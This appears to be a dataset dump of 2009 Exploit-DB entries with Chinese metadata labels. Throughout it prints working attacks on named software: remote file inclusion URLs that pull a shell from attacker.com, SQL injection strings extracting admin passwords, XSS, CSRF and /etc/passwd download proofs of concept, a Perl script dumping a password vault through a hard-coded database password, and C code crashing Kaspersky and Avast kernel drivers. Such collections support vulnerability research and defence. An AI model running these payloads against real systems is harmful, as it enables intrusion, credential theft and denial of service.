QLWD/code_shield huggingface dataset:
标题: NukeHall 0.3 - Multiple Remote File Inclusions EDB-ID: 10217 CVE: 2009-4779 类型: WEBAPPS 平台: PHP 发布日期: 2009-11-24 漏洞利用脚本: [ Discovered by cr4wl3r \ cr4wl3r[4t]linuxmail[dot]org ]

########################################################################
#NukeHall <= 0.3 Multiple Remote File Include Vulnerability
#Download Script      :  http://sourceforge.net/project/NukeHall/files/
#Dork                 :  die("Hacking attempt");  :D
########################################################################
#
#Vuln : ./nukehall_0.3/admin/modules/blocks.php (line 28)
#       <?php
#          include $spaw_root.'spaw_control.class.php'; 
#       ?>
#PoC  :  http://server/[path]/admin/modules/blocks.php?spaw_root=http://attacker.com/shell.txt?cmd
#
#
#Vuln : ./nukehall_0.3/admin/modules/messages.php (line 28)
#       <?php
#          include $spaw_root.'spaw_control.class.php'; 
#       ?>
#PoC  :  http://server/[path]/admin/modules/messages.php?spaw_root=http://attacker.com/shell.txt?cmd
#
#
#Vuln : ./nukehall_0.3/admin/modules/stories.php (line 28)
#       <?php
#          include $spaw_root.'spaw_control.class.php'; 
#       ?>
#PoC  :  http://server/[path]/admin/modules/stories.php?spaw_root=http://attacker.com/shell.txt?cmd
#
#
#
#
########################################################################
#Thx 2 : str0ke, opt!x hacker, xoron, irvian, cyberlog, basix,
#        dan seluruh orang yang membenciku dan menyayangiku [I Love U Full] :*
########################################################################

/##############################################\
#   all member at  manadocoding.net            #
#   all member at  sekuritionline.net          #
\##############################################/

   [ Gorontalo / 2009 ] URL: https://www.exploit-db.com/exploits/10217
标题: phptraverse 0.8.0 - Remote File Inclusion EDB-ID: 10219 CVE: 2009-4085 类型: WEBAPPS 平台: PHP 发布日期: 2009-11-24 漏洞利用脚本: [ Discovered by cr4wl3r \ cr4wl3r[4t]linuxmail[dot]org ]

########################################################################
#phptraverse <= 0.8.0 Remote File Include Vulnerability
#Download Script      :  http://sourceforge.net/projects/phptraverse/files/
#Dork                 :  die("Hacking attempt");  :D
########################################################################
#
#Vuln : ./phptraverse-0.8.0/assets/plugins/mp3_id/mp3_id.php (line 32)
#       <?php
#          include_once $GLOBALS['BASE'].'/PEAR/PEAR.php'; 
#       ?>
#PoC  :  http://server/[path]/assets/plugins/mp3_id/mp3_id.php?GLOBALS[BASE]=http://attacker.com/shell.txt?cmd
#
#
#
########################################################################
#Thx 2 : str0ke, opt!x hacker, xoron, irvian, cyberlog, basix,
#        dan seluruh orang yang membenciku dan menyayangiku [I Love U Full] :*
########################################################################

/##############################################\
#   all member at  sekuritionline.net          #
#   all member at  manadocoding.net            #
\##############################################/

   [ Gorontalo / 2009 ] URL: https://www.exploit-db.com/exploits/10219
标题: kr-web 1.1b2 - Remote File Inclusion EDB-ID: 10216 CVE: 2009-4223 类型: WEBAPPS 平台: PHP 发布日期: 2009-11-24 漏洞利用脚本: [ Discovered by cr4wl3r \ cr4wl3r[4t]linuxmail[dot]org ]

########################################################################
#KR-Web <= 1.1b2 Remote File Include Vulnerability
#Download Script      :  http://sourceforge.net/projects/krw/files/
#Dork                 :  die("Hacking attempt");  :D
########################################################################
#
#Vuln : ./KR-Web-1.1b2/adm/krgourl.php (line 2)
#       <?php
#          include "$DOCUMENT_ROOT/paths.inc"; 
#       ?>
#PoC  :  http://server/[path]/adm/krgourl.php?DOCUMENT_ROOT=http://attacker.com/shell.txt?cmd
#
#
#
########################################################################
#Thx 2 : str0ke, opt!x hacker, xoron, irvian, cyberlog, basix,
#        dan seluruh orang yang membenciku dan menyayangiku [I Love U Full] :*
########################################################################

/##############################################\
#   all member at  sekuritionline.net          #
#   all member at  manadocoding.net            #
\##############################################/

   [ Gorontalo / 2009 ] URL: https://www.exploit-db.com/exploits/10216
标题: BibTeX - '.bib' File Handling Memory Corruption EDB-ID: 10203 CVE: 2009-1284 类型: DOS 平台: LINUX 发布日期: 2009-11-13 漏洞利用脚本: Bugtraq ID: 34332
Class: Failure to Handle Exceptional Conditions

Published: Apr 01 2009 12:00AM
Updated: Nov 13 2009 03:46PM
Credit: Vincent Lafevre
Vulnerable: RedHat Linux 2.1
RedHat Fedora 9 0
RedHat Fedora 11
RedHat Fedora 10
RedHat Enterprise Linux WS 5
RedHat Enterprise Linux WS 4
RedHat Enterprise Linux WS 3
RedHat Enterprise Linux WS 2.1 IA64
RedHat Enterprise Linux WS 2.1
RedHat Enterprise Linux ES 4
RedHat Enterprise Linux ES 3
RedHat Enterprise Linux ES 2.1 IA64
RedHat Enterprise Linux ES 2.1
RedHat Enterprise Linux Desktop Workstation 5 client
RedHat Enterprise Linux Desktop 5 client
RedHat Enterprise Linux AS 4
RedHat Enterprise Linux AS 3
RedHat Enterprise Linux AS 2.1 IA64
RedHat Enterprise Linux AS 2.1
RedHat Enterprise Linux Desktop version 4
Debian Linux 5.0 sparc
Debian Linux 5.0 s/390
Debian Linux 5.0 powerpc
Debian Linux 5.0 mipsel
Debian Linux 5.0 mips
Debian Linux 5.0 m68k
Debian Linux 5.0 ia-64
Debian Linux 5.0 ia-32
Debian Linux 5.0 hppa
Debian Linux 5.0 armel
Debian Linux 5.0 arm
Debian Linux 5.0 amd64
Debian Linux 5.0 alpha
Debian Linux 5.0
Debian Linux 4.0 sparc
Debian Linux 4.0 s/390
Debian Linux 4.0 powerpc
Debian Linux 4.0 mipsel
Debian Linux 4.0 mips
Debian Linux 4.0 m68k
Debian Linux 4.0 ia-64
Debian Linux 4.0 ia-32
Debian Linux 4.0 hppa
Debian Linux 4.0 armel
Debian Linux 4.0 arm
Debian Linux 4.0 amd64
Debian Linux 4.0 alpha
Debian Linux 4.0
BibTeX BibTeX 0

BibTeX is prone to a memory-corruption vulnerability because it fails to properly handle excessively large '.bib' files.

Remote attackers may leverage this issue to cause denial-of-service conditions. Given the nature of this issue, attackers may also be able to execute code, but this has not been confirmed.

NOTE: BibTeX may be shipped with various packages, such as TeTeX or TexLive, that may also be vulnerable. 


Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/10203.tar.bz2 (2009-11-22-bibtex-crash.tar.bz2) URL: https://www.exploit-db.com/exploits/10203
标题: outreach project tool 1.2.6 - Remote File Inclusion EDB-ID: 10218 CVE: 2009-4082 类型: WEBAPPS 平台: PHP 发布日期: 2009-11-24 漏洞利用脚本: [ Discovered by cr4wl3r \ Indonesian Hacker ]

########################################################################
# OPT (Outreach Project Tool) <= 1.2.6 [CRM_path] Remote File Include Vulnerability
# Download Script      :  http://sourceforge.net/projects/outreach
# Dork                 :  "Adhan Handsome"  :D
########################################################################
#
# Vuln : ./OPT_1-2-7_MAX/opt/forums/Forum_Include/index.php (line 10)
#       <?php
#          include "$CRM_path/forums/Forum_Include/forum_admin.inc";
#       ?>
# PoC  :  http://server/[path]/forums/Forum_Include/index.php?CRM_path=http://[attacker]/shell.txt???
#
#
#
########################################################################
# Thx 2 : str0ke, opt!x hacker, xoron, irvian, cyberlog, basix,
#         dan seluruh orang yang membenciku dan menyayangiku [I Love U Full] :*
########################################################################

/##############################################\
#   all member at  sekuritionline.net          #
#   all member at  manadocoding.net            #
\##############################################/

# Contact Me : cr4wl3r[4t]linuxmail[dot]org

   [ Gorontalo / 2009 ] URL: https://www.exploit-db.com/exploits/10218
标题: TEKUVA - Password Reminder Authentication Bypass EDB-ID: 10201 CVE: 2009-4781 类型: LOCAL 平台: WINDOWS 发布日期: 2009-11-21 漏洞利用脚本: #!/usr/bin/perl

# Exploit: TEKUVA Password Reminder Authentication Bypass
# Date: [11/19/2009]
# Author: iqlusion [x+nospam@iqlusion.net]
# Software Link: http://download.cnet.com/Password-Reminder/3000-2064_4-10966598.html
# Version: 1.0.0.1

# Info: TEKUVA Password Reminder is a password vault that allows you to store all
#       your credentials in one spot and all you have to remember is a single 'main'
#       password to access your vault. Unfortunately, the vault is actually an 
#       Access 2007 database that is protected by a password which is hard coded into
#       the program, not your main password.
#
#       This script connects to the database using the hard coded db password and dumps
#       everything into an HTML table, bypassing the need to enter the main vault
#       password (or use the program at all for that matter). Modify values as needed.

# Greetz: quetzal : w00tb0t : sck

use DBI;

$DBFile  = "C:\\Program Files\\TEKUVA\\Password_Reminder\\dtb\\rem.accdb";
$sql = "SELECT app,lgn,pwd,nts FROM pwdrem WHERE idn IS NOT NULL";

$DSN = "DRIVER=Microsoft Access Driver (*.mdb, *.accdb);dbq=$DBFile;pwd=P\@z19r1m";
$dbh = DBI->connect("dbi:ODBC:$DSN")||die print $DBI::errstr;
$dbh->{LongReadLen}=9001;
$qry = $dbh->prepare($sql);
$qry->execute;

open(PWD,">results.html") || die print $!;
print PWD "<table border=1><thead><tr><td>Application/URL</td><td>Login</td><td>Password</td><td>Notes:</td></tr></thead>\n";
while(my($app,$lgn,$pwd,$nts) = $qry->fetchrow_array()){print PWD "<tr><td>$app</td><td>$lgn</td><td>$pwd</td><td>$nts</td></tr>\n";}
print PWD "</table></html>";
print "Passwords dumped to results.html\n\n"; URL: https://www.exploit-db.com/exploits/10201
标题: Betsy CMS versions 3.5 - Local File Inclusion EDB-ID: 10189 CVE: 2009-4056 类型: WEBAPPS 平台: PHP 发布日期: 2009-11-21 漏洞利用脚本: /*

Author          : MizoZ [from MA]
Group           : EvilWay
Email           : mizozx[at]gmail[dot]com

Greetz          : Zuka !!

Good luck DZ :)

*/

The vulnerability is in the file admin/popup.php on the get $_GET['popup']

Exploit :

[HOST]/[PATH]/admin/popup.php?popup=[IT INCLUDE FROM admin/] URL: https://www.exploit-db.com/exploits/10189
标题: Joomla! Extension iF Portfolio Nexus - SQL Injection EDB-ID: 10177 CVE: 2009-4057 类型: WEBAPPS 平台: PHP 发布日期: 2009-11-18 漏洞利用脚本: _00000__00000__00000__00000__0___0__00000____0___0___000___0___0_
_0______0___0__0___0__0______00_00__0________00_00__0___0__00_00_
_0000___00000__00000__00000__0_0_0__00000____0_0_0__0___0__0_0_0_
_____0______0______0__0______0___0__0________0___0__00000__0___0_
_0000___00000__00000__00000__0___0__00000____0___0__0___0__0___0_
_________________________________________________________________


# [+] Joomla Ext. iF Portfolio Nexus SQL injection
#
# [+] Author : 599eme Man
# [+] Contact : Flouf@live.fr
#
#[------------------------------------------------------------------------------------]
#
# [+] SQL
#
# http://server/portfolio?view=item&id=-100%20union%20all%20select%201,version%28%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28--
# http://server/portfolio?controller=sections&view=item&id=-71%20union%20all%20select%201,2,version%28%29,4,5,6,7,8,9,10,11,12,13,14,15,16,17--
#
# [+] Blind
#
# http://server/portfolio?controller=sections&view=item&id=71%20and%20substring%28@@version,1,1%29=5
# http://server/portfolio?view=item&id=100 and substring(@@version,1,1)=5
#
#[-------------------------------- URL: https://www.exploit-db.com/exploits/10177
标题: Simplog 0.9.3.2 - Multiple Vulnerabilities EDB-ID: 10180 CVE: 2009-4093 2009-4092 2009-4091 类型: WEBAPPS 平台: PHP 发布日期: 2009-11-16 漏洞利用脚本: ################################################################################
Mutliple Vulnerabilities in Simplog v0.9.3.2

Name Multiple vulnerabilities in Simplog
Systems Affected Simplog 0.9.3.2 and possibly earlier versions
Download http://sourceforge.net/projects/simplog/files/simplog/0.9.3.2/simplog-0.9.3.2.tar.gz/download
Author Amol Naik (amolnaik4[at]gmail.com)
Date 16/11/2009
################################################################################


############
1. OVERVIEW
############

Simplog provides an easy way for users to add blogging capabilities to their existing websites.
Simplog is written in PHP and compatible with multiple databases.
Simplog also features an RSS/Atom aggregator/reader.

###############
2. DESCRIPTION
###############

Simplog is vulnerable to Persistent cross-site scripting, cross-site request forgery and unauthorized comment deletion.

######################
3. TECHNICAL DETAILS
######################

Summery:

(A) Persistent Cross-site Scripting
(B) Cross Site Request Forgery
(C) Edit/Delete Comments (Bypassing Authorization)


(A) Persistent Cross-site Scripting
++++++++++++++++++++++++++++++++++++

Vulnerable page comments.php
Vulnerable Parameters cname, email

When adding a comment for any blog entry, it is possible to add a Persistent XSS payload in "Name" & "Email" parameters due to improper sanitization of the user inputs.

++++
POC
++++

Put this in the comment:

Name: alert("AMol_NAik")
email:">alert("AMol_NAik")


(B) Cross Site Request Forgery
+++++++++++++++++++++++++++++++

Vulnerable Page user.php

This application is vulenrable to CSRF which changes the password of an authenticated user. This is applicable to Admin as well.

++++
POC
++++

http://server/simplog/user.php?pass1=&pass2=&blogid=&act=change


For example, if an authenticated user clicks on the below link, his/her password changes to "AMol_NAik".

http://server/simplog/user.php?pass1=AMol_NAik&pass2=AMol_NAik&blogid=1&act=change


(C) Edit/Delete Comments (Bypassing Authorization)
+++++++++++++++++++++++++++++++++++++++++++++++++++

Vulnerable Page comments.php
Vulnerable Parameters op, cid

The application provides a function to edit n delete the comments to Blog Admin. It is possible for attacker to edit/delete any comment due to improper authorization.

++++
POC
++++

Edit comment: http://server/simplog/comments.php?op=edit&cid=
Delete Comment: http://server/simplog/comments.php?op=del&cid=


############
4. TimeLine
############

03/11/2009 Bug Discovered
03/11/2009 Reported to Vendor
16/11/2009 No response received till the date
16/11/2009 Public Disclosure URL: https://www.exploit-db.com/exploits/10180
标题: Joomla! Component Com_Joomclip - 'cat' SQL Injection EDB-ID: 10192 CVE: 2009-4059 类型: WEBAPPS 平台: PHP 发布日期: 2009-11-21 漏洞利用脚本: _00000__00000__00000__00000__0___0__00000____0___0___000___0___0_
_0______0___0__0___0__0______00_00__0________00_00__0___0__00_00_
_0000___00000__00000__00000__0_0_0__00000____0_0_0__0___0__0_0_0_
_____0______0______0__0______0___0__0________0___0__00000__0___0_
_0000___00000__00000__00000__0___0__00000____0___0__0___0__0___0_
_________________________________________________________________


# [+] Joomla Component Com_Joomclip (cat) SQL injection
#
# [+] Author : 599eme Man
# [+] Contact : Flouf@live.fr
#
#[------------------------------------------------------------------------------------]
#
# [+] SQL
# 
#  http://server/index.php?option=com_joomclip&view=thumbs&cat=20%20union%20all%20select%201,2,3,version%28%29,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
# 
# [+] Blind
# 
#   http://server/index.php?option=com_joomclip&view=thumbs&cat=20%20and%20substring%28@@version,1,1%29=4
# 
#[------------------------------------------------------------------------------------] URL: https://www.exploit-db.com/exploits/10192
标题: phpMyBackupPro - Arbitrary File Download EDB-ID: 10169 CVE: 2015-4181 2009-4050 类型: WEBAPPS 平台: PHP 发布日期: 2009-11-16 漏洞利用脚本: ################################################################################
 Arbitrary File Download in phpMyBackupPro

 Name   Arbitrary File Download in phpMyBackupPro
 Systems Affected phpMyBackupPro v 2.1 and possibly earlier versions
 site   http://www.phpmybackuppro.net
 Author   Amol Naik (amolnaik4[at]gmail.com)
 Date   16/11/2009
################################################################################


############
1. OVERVIEW
############

phpMyBackupPro is a web-based MySQL backup application in PHP. 
You can schedule backups, download, email or upload them with FTP and backup whole file directories. 
Zip and gzip compression, easy interface and installation. Many languages and online help!

###############
2. DESCRIPTION
###############

phpMyBackupPro is vulnerable to Arbitrary File Download.

######################
3. TECHNICAL DETAILS
######################

Arbritrary File Downlaod
++++++++++++++++++++++++

Vulnerable page  get_file.php
Vulnerable Parameters view
Vulnerable Code  

---------------------------------------------------------------------------------------

// show the requested file
if (isset($_GET['view']) && file_exists($_GET['view'])) {
    if (isset($_GET['download'])) {
        header("Content-Type: application/octet-stream");
        header("Content-Disposition: attachment; filename=".basename($_GET['view']));
        readfile($_GET['view']);
    } else {
        ......
        ......
        .......
    }

---------------------------------------------------------------------------------------

The parameter "view" is not properly sanitized which results in Arbitrary file download.

++++
POC
++++

http://localhost/phpMyBackupPro/get_file.php?download=true&view=/etc/passwd



############
4. TimeLine
############

20th Oct 2009  Bug Discovered
20th Oct 2009  Reported to Vendor
27th Oct 2009  vendor agreed to the vulnerablity and ready to fix it.
16th Nov 2009  No communication received about the status of the fix.
16th Nov 2009  Public Disclosure URL: https://www.exploit-db.com/exploits/10169
标题: TelebidAuctionScript - 'aid' Blind SQL Injection EDB-ID: 10165 CVE: 2009-4058 类型: WEBAPPS 平台: PHP 发布日期: 2009-11-17 漏洞利用脚本: TelebidauctionScript(aid) Blind SQL Injection Vulnerability
____________________________________

Author : Hussin X

Home : www.IQ-TY.com

email : darkangel_g85@Yahoo.com

____________________________________

Vendor : http://www.telebidauctionscript.com/

Demo :
_______


http://server/allauctions.php?aid=2+and+1=1 (true)


http://server/allauctions.php?aid=2+and+1=0 (false )


:: Table ::

http://server/allauctions.php?aid=2+and+(SELECT+1+from+admin+limit+0,1)=1


:: column pass and username ::

http://server/allauctions.php?aid=2+and+(SELECT+substring(concat(1,pass),1,1)+from+admin+limit 0,1)=1

http://server/allauctions.php?aid=2 and (SELECT+substring(concat(1,username),1,1) from admin limit 0,1)=1

note : Use the "bsqlbf" to write detailed information

Greetz
WwW.IQ-ty.CoM , Tryag.cc

| CraCkEr | Cyber-Zone | str0ke | jiko URL: https://www.exploit-db.com/exploits/10165
标题: Xerver 4.31/4.32 - HTTP Response Splitting EDB-ID: 10170 CVE: 2009-4086 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2009-11-18 漏洞利用脚本: Xerver 4.31, 4.32 HTTP Response Splitting

Discovered: 04-10-08
By: SecureState R&D Team - sasquatch
Vendor Notified: 04-11-08
Vendor Response: 04-13-08
New version also vulnerable:  10-07-09 Tested (Win32 v4.32)
Vendor Notified: 10-07-09
Vendor Response: NONE
Published:  11-18-09

Proof of Concept:

/test.htm%3BHTTP%C0%AF1.0%20200%20OK%C0%8D%C0%8AContent-Length%3A%2070%C0%8D%C0%8AContent-Type%3Atext%C0%AFhtml%C0%8D%C0%8A%C0%8D%C0%8A%3Chtml%3E%3Cbody%3E%3Cimg%20src%3D%22http%3A//www.website.com/test.gif%22%3E%3C/body%3E%3C/html%3E%8D%C0%8A%C0%8D%C0%8A URL: https://www.exploit-db.com/exploits/10170
标题: ActiveBids - 'default.asp' Blind SQL Injection EDB-ID: 10167 CVE: 2009-4229 类型: WEBAPPS 平台: ASP 发布日期: 2009-11-17 漏洞利用脚本: ActiveBids (default.asp) Blind SQL Injection Vulnerability
____________________________________

Author : Hussin X

Home : www.IQ-TY.com

email : hussin.x@gmail.com
____________________________________

Vendor : http://www.activewebsoftwares.com
Demo :
_______

http://server/default.asp?catid=39+and+1=1 ( true )

http://server/default.asp?catid=39+and+1=0 ( false )

:: test ::

http://server/default.asp?catid=39+UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+from+mysql.user

Greetz :
WwW.IQ-ty.CoM

| CraCkEr | Cyber-Zone | str0ke | jiko URL: https://www.exploit-db.com/exploits/10167
标题: Kaspersky AV 2010 9.0.0.463 - Local Denial of Service EDB-ID: 10164 CVE: 2009-4114 类型: DOS 平台: WINDOWS 发布日期: 2009-09-29 漏洞利用脚本: #include <stdio.h>
#include <windows.h>
#include <winioctl.h>
#include <stdlib.h>
#include <string.h>

/*
Program : Kaspersky Anti-Virus 2010 9.0.0.463
Homepage : http://www.kaspersky.com
Discovery : 2009/09/29
Author Contacted : 2009/10/01
Found by : Heurs
This Advisory : Heurs
Contact : s.leberre@sysdream.com


//----- Application description


The most trusted virus and spyware protection - premium protection
against viruses, spyware, Trojans, worms, bots and more. Also includes
comprehensive phishing and identity theft defense and superfast performance.

//----- Description of vulnerability

kl1.sys driver don't check inputs address of an IOCTL. An exception can be
thrown if we modify one or two DWORDs.
With my test I can't do best exploitation than a BSOD.

//----- Credits

http://www.sysdream.com
http://ghostsinthestack.org

s.leberre at sysdream dot com
heurs at ghostsinthestack dot org

//----- Greetings

Trance

*/

int __cdecl main(int argc, char* argv[])
{
HANDLE hDevice = (HANDLE) 0xffffffff;
DWORD NombreByte;
DWORD Crashing[] = {
0x3ff8f44a, 0x9d4ad6c2, 0xd883673e, 0x0a06ac2a,
0x3d4552b1, 0x3b2f314e, 0xeb6dfc7e, 0xfcfdf961,
0xde0f4405, 0xaa76f8eb, 0x2dbc6ead, 0x534047f9,
0xb5ebadc5
};
BYTE Out[0x20];

printf("Local DoS - Kaspersky 2010 9.0.0.463\n\n");
hDevice = CreateFile("\\\\.\\kimul25",GENERIC_READ|GENERIC_WRITE,0,NULL,OPEN_EXISTING,0,NULL);

DeviceIoControl(hDevice,0x0022c008,Crashing,sizeof(Crashing),Out,sizeof(Out),&NombreByte,NULL);

printf("Sploit Send.\nhDevice = %x\n", hDevice);
CloseHandle(hDevice);
getch();
return 0;
} URL: https://www.exploit-db.com/exploits/10164
标题: Avast! 4.8.1351.0 AntiVirus - 'aswMon2.sys' Kernel Memory Corruption EDB-ID: 10106 CVE: 2009-3522 类型: DOS 平台: WINDOWS 发布日期: 2009-11-17 漏洞利用脚本: /* Avast 4.8.1351.0 antivirus aswMon2.sys Kernel Memory Corruption
 *
 * Author: Giuseppe 'Evilcry' Bonfa'
 * E-Mail: evilcry _AT_ gmail _DOT_ com
 * Website: http://evilcry.netsons.org
 *          http://evilcodecave.blogspot.com 
 *          http://evilfingers.com
 *
 * Vendor: Notified
 *
 * No L.P.E. for kiddies
 * /

#define WIN32_LEAN_AND_MEAN
#include < windows.h>
#include < stdio.h>


BOOL OpenDevice(PWSTR DriverName, HANDLE *lphDevice) //taken from esagelab
{
        WCHAR DeviceName[MAX_PATH];
        HANDLE hDevice;

        if ((GetVersion() & 0xFF) >= 5) 
        {
                wcscpy(DeviceName, L"\\\\.\\Global\\");
        } 
        else 
        {
                wcscpy(DeviceName, L"\\\\.\\");
        }

        wcscat(DeviceName, DriverName);

        printf("Opening.. %S\n", DeviceName);

        hDevice = CreateFileW(DeviceName, GENERIC_READ | 
        GENERIC_WRITE, 0, NULL, OPEN_EXISTING,
                FILE_ATTRIBUTE_NORMAL, NULL);

        if (hDevice == INVALID_HANDLE_VALUE)
        {
                printf("CreateFile() ERROR %d\n", GetLastError());
                return FALSE;
        }

        *lphDevice = hDevice;

       return TRUE;
}

int main()
{
        HANDLE hDev = NULL;
        DWORD Junk;

        if(!OpenDevice(L"aswMon",&hDev))
        {
                printf("Unable to access aswMon");
                return(0);
        }

        char *Buff = (char *)VirtualAlloc(NULL, 0x288, MEM_RESERVE | 
        MEM_COMMIT, PAGE_EXECUTE_READWRITE);

        if (Buff)
        {
                memset(Buff, 'A', 0x288);
                DeviceIoControl(hDev,0xB2C80018,Buff,
                0x288,Buff,0x288,&Junk,(LPOVERLAPPED)NULL);
                printf("DeviceIoControl Executed..\n"); 
        }    
        else
        {
                printf("VirtualAlloc() ERROR %d\n", GetLastError());
        }


        return(0);
} URL: https://www.exploit-db.com/exploits/10106